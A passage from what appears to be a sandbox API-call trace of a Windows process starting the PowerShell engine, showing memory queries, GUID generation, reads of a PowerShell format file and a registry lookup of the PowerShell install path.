Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.950] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.950] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.951] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.951] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.951] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.951] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.951] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.951] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.951] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.952] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.952] VirtualQuery (in: lpAddress=0x22b9c0, lpBuffer=0x22c880, dwLength=0x30 | out: lpBuffer=0x22c880*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.952] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.953] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.953] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.953] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.953] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x57686280, Data2=0x5900, Data3=0x47c6, Data4=([0]=0x99, [1]=0x6c, [2]=0x61, [3]=0x10, [4]=0x5c, [5]=0x76, [6]=0xb6, [7]=0x83))) returned 0x0 [0054.953] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x1bd94aa4, Data2=0x4ed8, Data3=0x4c9e, Data4=([0]=0xa3, [1]=0x81, [2]=0x94, [3]=0x6e, [4]=0x25, [5]=0xbd, [6]=0xb1, [7]=0xf5))) returned 0x0 [0054.954] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x7a8f916b, Data2=0xc2b9, Data3=0x49bb, Data4=([0]=0xb8, [1]=0xa8, [2]=0xf, [3]=0xd9, [4]=0x4b, [5]=0xdb, [6]=0xbf, [7]=0xa))) returned 0x0 [0054.954] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x71922005, Data2=0x952c, Data3=0x46e3, Data4=([0]=0xa8, [1]=0x7e, [2]=0xf2, [3]=0x34, [4]=0x20, [5]=0xda, [6]=0x1a, [7]=0x7c))) returned 0x0 [0054.955] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x2b70da78, Data2=0x17c2, Data3=0x4dfb, Data4=([0]=0x9c, [1]=0xe3, [2]=0x56, [3]=0xcc, [4]=0x1, [5]=0xe0, [6]=0x58, [7]=0xe7))) returned 0x0 [0054.955] VirtualQuery (in: lpAddress=0x22bad0, lpBuffer=0x22c990, dwLength=0x30 | out: lpBuffer=0x22c990*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.956] VirtualQuery (in: lpAddress=0x22bb60, lpBuffer=0x22ca20, dwLength=0x30 | out: lpBuffer=0x22ca20*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.956] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xa48fb7e2, Data2=0x6615, Data3=0x4a49, Data4=([0]=0xa2, [1]=0x3a, [2]=0x78, [3]=0xbe, [4]=0x96, [5]=0xd9, [6]=0xcd, [7]=0x3b))) returned 0x0 [0054.956] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x54ee6850, Data2=0x5d87, Data3=0x4197, Data4=([0]=0xb9, [1]=0xc0, [2]=0x9c, [3]=0x64, [4]=0x54, [5]=0x8b, [6]=0xee, [7]=0xc9))) returned 0x0 [0054.956] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x5e98aaf6, Data2=0x60fb, Data3=0x4054, Data4=([0]=0x84, [1]=0x82, [2]=0xdd, [3]=0xf7, [4]=0x75, [5]=0xea, [6]=0x24, [7]=0xa9))) returned 0x0 [0054.957] SetErrorMode (uMode=0x1) returned 0x1 [0054.957] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x30c [0054.957] SetErrorMode (uMode=0x1) returned 0x1 [0054.957] GetFileType (hFile=0x30c) returned 0x1 [0054.957] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.958] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.958] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.958] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.958] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.959] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.959] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.959] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.959] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.960] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.960] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.960] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.960] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.960] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.960] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.960] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.961] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.962] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.962] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.962] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.962] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.962] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0xe67, lpOverlapped=0x0) returned 1 [0054.962] ReadFile (in: hFile=0x30c, lpBuffer=0x39795bf, nNumberOfBytesToRead=0x199, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x39795bf*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.962] ReadFile (in: hFile=0x30c, lpBuffer=0x3979ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3979ff0*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.962] SetErrorMode (uMode=0x1) returned 0x1 [0054.963] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d260 | out: lpFileInformation=0x22d260*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e9dda3, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e9dda3, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0054.963] SetErrorMode (uMode=0x1) returned 0x1 [0054.963] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d348 | out: phkResult=0x22d348*=0x30c) returned 0x0 [0054.963] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d2cc, lpData=0x0, lpcbData=0x22d2c8*=0x0 | out: lpType=0x22d2cc*=0x1, lpData=0x0, lpcbData=0x22d2c8*=0x56) returned 0x0 [0054.963] CoTaskMemAlloc (cb=0x5a) returned 0x1b785e10 [0054.963] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d29c, lpData=0x1b785e10, lpcbData=0x22d298*=0x56 | out: lpType=0x22d29c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d298*=0x56) returned 0x0 [0054.963] CoTaskMemFree (pv=0x1b785e10) [0054.963] RegCloseKey (hKey=0x30c) returned 0x0 [0054.967] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x9b5de07, Data2=0x2405, Data3=0x47c0, Data4=([0]=0xa8, [1]=0x31, [2]=0x8a, [3]=0x4b, [4]=0xfe, [5]=0x39, [6]=0xba, [7]=0xc5))) returned 0x0 [0054.967] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xf8a1b3bf, Data2=0x3adf, Data3=0x446d, Data4=([0]=0xa6, [1]=0x19, [2]=0xe2, [3]=0x53, [4]=0x73, [5]=0xa3, [6]=0x17, [7]=0x3a))) returned 0x0 [0054.967] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xb1ef481, Data2=0x201a, Data3=0x49ae, Data4=([0]=0xa6, [1]=0x5a, [2]=0x20, [3]=0x9a, [4]=0xb9, [5]=0xc0, [6]=0x24, [7]=0x72))) returned 0x0 [0054.967] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xe4774999, Data2=0xcbf3, Data3=0x414c, Data4=([0]=0xbb, [1]=0xf9, [2]=0xb7, [3]=0x77, [4]=0xaf, [5]=0x39, [6]=0xf1, [7]=0xfe))) returned 0x0 [0054.967] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x8eb855d6, Data2=0x9d8, Data3=0x4fdc, Data4=([0]=0x80, [1]=0xbe, [2]=0x59, [3]=0xe, [4]=0x8b, [5]=0x29, [6]=0x2f, [7]=0xde))) returned 0x0 [0054.968] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x56665aac, Data2=0x219b, Data3=0x4b2c, Data4=([0]=0x9e, [1]=0x13, [2]=0x36, [3]=0xbe, [4]=0xf2, [5]=0xa, [6]=0x3f, [7]=0x70))) returned 0x0 [0054.968] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x2933c356, Data2=0x68ad, Data3=0x4f74, Data4=([0]=0xbf, [1]=0x41, [2]=0x46, [3]=0x97, [4]=0xe1, [5]=0x2c, [6]=0x54, [7]=0xff))) returned 0x0 [0054.968] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.968] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x5b8e0bc2, Data2=0x10fa, Data3=0x4e30, Data4=([0]=0xb0, [1]=0x9b, [2]=0xb6, [3]=0x52, [4]=0xe7, [5]=0x3d, [6]=0x1e, [7]=0x86))) returned 0x0 [0054.968] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x3a3914c2, Data2=0x6699, Data3=0x461c, Data4=([0]=0x90, [1]=0xe3, [2]=0x50, [3]=0x7c, [4]=0x94, [5]=0x7b, [6]=0xd9, [7]=0x66))) returned 0x0 [0054.969] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x93c5de65, Data2=0x522d, Data3=0x4552, Data4=([0]=0xa2, [1]=0x70, [2]=0x7a, [3]=0x79, [4]=0xb5, [5]=0xa2, [6]=0x39, [7]=0xa1))) returned 0x0 [0054.969] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x86d3b90, Data2=0xdd14, Data3=0x42f2, Data4=([0]=0xb9, [1]=0x38, [2]=0x9d, [3]=0x9c, [4]=0xa0, [5]=0xd2, [6]=0x38, [7]=0xa6))) returned 0x0 [0054.969] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xb5fc5b04, Data2=0xf813, Data3=0x49b3, Data4=([0]=0x98, [1]=0xc6, [2]=0xe2, [3]=0xd4, [4]=0x26, [5]=0xd3, [6]=0xca, [7]=0x4f))) returned 0x0 [0054.969] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x57838907, Data2=0x7181, Data3=0x4d17, Data4=([0]=0x88, [1]=0x8e, [2]=0xf9, [3]=0x8b, [4]=0x50, [5]=0x8a, [6]=0xc4, [7]=0x92))) returned 0x0 [0054.969] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xc10e597d, Data2=0x4de6, Data3=0x4af3, Data4=([0]=0x9e, [1]=0x58, [2]=0xfb, [3]=0x9f, [4]=0xab, [5]=0xa7, [6]=0x19, [7]=0x34))) returned 0x0 [0054.970] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xbdb00051, Data2=0xfc10, Data3=0x4262, Data4=([0]=0x8b, [1]=0x90, [2]=0x6c, [3]=0x79, [4]=0xb, [5]=0xc9, [6]=0x46, [7]=0xe2))) returned 0x0 [0054.970] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xfed4025f, Data2=0x56c7, Data3=0x49ca, Data4=([0]=0x8b, [1]=0xb6, [2]=0xed, [3]=0x36, [4]=0x6a, [5]=0x33, [6]=0x73, [7]=0x45))) returned 0x0 [0054.970] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x447d2e4f, Data2=0x46f4, Data3=0x4bae, Data4=([0]=0x96, [1]=0xc9, [2]=0x8a, [3]=0xf8, [4]=0x20, [5]=0x2a, [6]=0x39, [7]=0x6))) returned 0x0 [0054.970] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x898772d7, Data2=0xbc5, Data3=0x4ec6, Data4=([0]=0x97, [1]=0xf4, [2]=0x5d, [3]=0x66, [4]=0xdf, [5]=0x9a, [6]=0x7d, [7]=0xaa))) returned 0x0 [0054.970] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xd01c7b9, Data2=0x5705, Data3=0x4f61, Data4=([0]=0xa9, [1]=0xf6, [2]=0x4, [3]=0x72, [4]=0x60, [5]=0xe, [6]=0x19, [7]=0x1f))) returned 0x0 [0054.971] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.971] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.971] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.971] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x1283be45, Data2=0xf804, Data3=0x47bd, Data4=([0]=0xb6, [1]=0x9f, [2]=0xbd, [3]=0x6b, [4]=0xf6, [5]=0x5a, [6]=0xa6, [7]=0x2c))) returned 0x0 [0054.972] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x77ce0ed2, Data2=0x3d4d, Data3=0x434d, Data4=([0]=0x9f, [1]=0x50, [2]=0x69, [3]=0xe6, [4]=0x12, [5]=0xcf, [6]=0x63, [7]=0x3a))) returned 0x0 [0054.972] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x20c05f4b, Data2=0x51c1, Data3=0x4890, Data4=([0]=0xae, [1]=0x31, [2]=0xf8, [3]=0xa7, [4]=0xa3, [5]=0x23, [6]=0xda, [7]=0x15))) returned 0x0 [0054.972] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x5fd5252, Data2=0xea00, Data3=0x45b7, Data4=([0]=0x8e, [1]=0xcc, [2]=0xb8, [3]=0xc9, [4]=0xe9, [5]=0x32, [6]=0xf1, [7]=0x6b))) returned 0x0 [0054.972] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x58d9cdd1, Data2=0x9805, Data3=0x45d8, Data4=([0]=0xbd, [1]=0x23, [2]=0xb4, [3]=0xba, [4]=0x4d, [5]=0x3c, [6]=0xd7, [7]=0xd1))) returned 0x0 [0054.973] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x72081133, Data2=0xe20d, Data3=0x425e, Data4=([0]=0x97, [1]=0xbe, [2]=0x61, [3]=0x63, [4]=0xce, [5]=0xac, [6]=0xaf, [7]=0xa2))) returned 0x0 [0054.973] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xf3cf0586, Data2=0x7df1, Data3=0x4d65, Data4=([0]=0x9e, [1]=0x59, [2]=0x57, [3]=0x7, [4]=0xc8, [5]=0x8f, [6]=0xf1, [7]=0x9c))) returned 0x0 [0054.973] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x6274e4a6, Data2=0x9e4a, Data3=0x4092, Data4=([0]=0xb7, [1]=0x5c, [2]=0xcd, [3]=0x61, [4]=0x9f, [5]=0x51, [6]=0x88, [7]=0xa3))) returned 0x0 [0054.973] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x4f8081df, Data2=0xb33e, Data3=0x412b, Data4=([0]=0x85, [1]=0x82, [2]=0x2d, [3]=0xff, [4]=0x3a, [5]=0xde, [6]=0x5c, [7]=0xcd))) returned 0x0 [0054.973] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xfff77294, Data2=0x7230, Data3=0x45c8, Data4=([0]=0x9a, [1]=0x64, [2]=0xbe, [3]=0xf7, [4]=0x5e, [5]=0xe2, [6]=0x12, [7]=0x9e))) returned 0x0 [0054.974] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x7e255757, Data2=0x716a, Data3=0x47bd, Data4=([0]=0x93, [1]=0x71, [2]=0x25, [3]=0x96, [4]=0xd, [5]=0x90, [6]=0xfc, [7]=0xdb))) returned 0x0 [0054.974] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xbb0ca2c4, Data2=0xf0a0, Data3=0x4751, Data4=([0]=0xa3, [1]=0xbb, [2]=0xd0, [3]=0xee, [4]=0x72, [5]=0xc1, [6]=0x8a, [7]=0x72))) returned 0x0 [0054.974] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x2eb9a120, Data2=0xfe3d, Data3=0x4bf9, Data4=([0]=0xbf, [1]=0x83, [2]=0x2d, [3]=0xc2, [4]=0x53, [5]=0x29, [6]=0x99, [7]=0xfe))) returned 0x0 [0054.974] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.974] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x191aef5, Data2=0x861d, Data3=0x4a9c, Data4=([0]=0xaf, [1]=0xab, [2]=0xdb, [3]=0x2b, [4]=0x7, 